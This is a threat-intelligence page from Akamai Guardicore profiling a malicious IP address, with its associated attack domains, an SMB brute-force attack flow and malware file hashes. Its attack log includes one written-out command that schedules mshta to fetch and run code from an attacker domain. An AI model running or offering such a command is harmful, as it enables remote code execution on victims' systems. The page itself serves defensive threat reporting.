Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 186.189.204.98Malicious

IP Address: 186.189.204.98Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

MSSQL SMB

Tags

SMB Access Share Scheduled Task Creation DNS Query Service Deletion SMB Brute Force Service Creation Access Suspicious Domain Successful SMB Login CMD Service Start Service Stop File Operation By CMD Download File Download and Execute SMB Share Connect Execute from Share

Associated Attack Servers

megared.net.mx w.zz3r0.com

58.240.33.194 61.178.43.239 110.173.183.91 131.196.233.8 187.241.239.9 222.74.51.230

Basic Information

IP Address

186.189.204.98

Domain

-

ISP

Comcel Guatemala S.A.

Country

Guatemala

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2020-12-23

Last seen in Akamai Guardicore Segmentation

2024-06-06

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using SMB with the following username: hp - Authentication policy: Reached Max Attempts (Part of a Brute Force Attempt)

Successful SMB Login SMB Brute Force

A user logged in using SMB with the following username: Administrator - Authentication policy: Reached Max Attempts (Part of a Brute Force Attempt)

Successful SMB Login SMB Brute Force

C:\eNrzcPOk.exe was downloaded

Download File

c:\windows\system32\services.exe installed and started \\server-backup\c$\enrzcpok.exe as a service named wXyv under service group None

Service Creation Service Start

enrzcpok.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started %systemroot%\buaznjfv.exe as a service named blSr under service group None

Service Creation Service Start

The file C:\WINDOWS\BuaZNJfV.exe was downloaded and executed

Download and Execute

C:\WINDOWS\temp\svchost.exe was downloaded

Download File

C:\WINDOWS\Temp\tmp.vbs was downloaded

Download File

A user logged in using SMB with the following username: Administrator - Authentication policy: Previously Approved User (Part of a Brute Force Attempt) 3 times

Successful SMB Login SMB Brute Force

A user logged in using SMB from NULL with the following username: Administrator - Authentication policy: Previously Approved User (Part of a Brute Force Attempt) 4 times

Successful SMB Login SMB Brute Force

C:\QnneZIZH.exe was downloaded

Download File

c:\windows\system32\services.exe installed and started \\server-backup\c$\qnnezizh.exe as a service named Flpq under service group None

Service Creation Service Start

qnnezizh.exe was executed from the remote share \\server-backup\c$

Execute from Share

Process c:\windows\system32\mshta.exe attempted to access suspicious domains: w.zz3r0.com

DNS Query Access Suspicious Domain

The command line C:\WINDOWS\system32\cmd.exe /c mshta http://w.zz3r0.com/page.html?pSERVER-BACKUP was scheduled to run by modifying C:\WINDOWS\Tasks\Autocheck.job

Service Flpq was stopped

Service Stop

The command line c:\windows\MFjvtMd.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Autostart.job

Connection was closed due to timeout

The command line c:\windows\virPmx.exe was scheduled to run by modifying C:\WINDOWS\Tasks\escan.job

Associated Files

C:\WINDOWS\Temp\svchost.exe

SHA256: 0a8e6f386a5b036882e87d74cf3082dab5571da222b510c11146aeae61fac71b

260000 bytes

C:\WINDOWS\Temp\svchost.exe

SHA256: 12876e23cd4e162367429c16ec1798cc8609313bdf86d1ec4caf53711af49ddb

65000 bytes

C:\WINDOWS\Temp\svchost.exe

SHA256: 16b291f1918e1e1673c3d7c797cfba38a8d9d575d16c1f77caa4ea1494fff70f

715000 bytes

C:\WINDOWS\Temp\svchost.exe

SHA256: 19ec15916d504dd9c9a4c2f05dfc0d6bd3d2e72ef8e8234a9deb601598fa15c3

130000 bytes

C:\WINDOWS\Temp\svchost.exe

SHA256: 1b1d3c8b1772e7742febf2cb84b9e9b64ed48017211f5946380fd61f8efd8f00

65000 bytes

C:\windows\temp\svchost.exe

SHA256: 200e14e47bf79a76fe098e514d664a69f2d244d99a297b58f5b9129a8102248b

520000 bytes

C:\windows\temp\svchost.exe

SHA256: 2c0bc1546bac3ccce23df9fe7db4914ab4f922003f6264d02d6144758815c4a7

260000 bytes

C:\bKGJEPCg.exe

SHA256: 382c01c8012e8c8dfc9a7bfd965aae66d8a9741c42593afa53ff2a93d7c1b91b

56320 bytes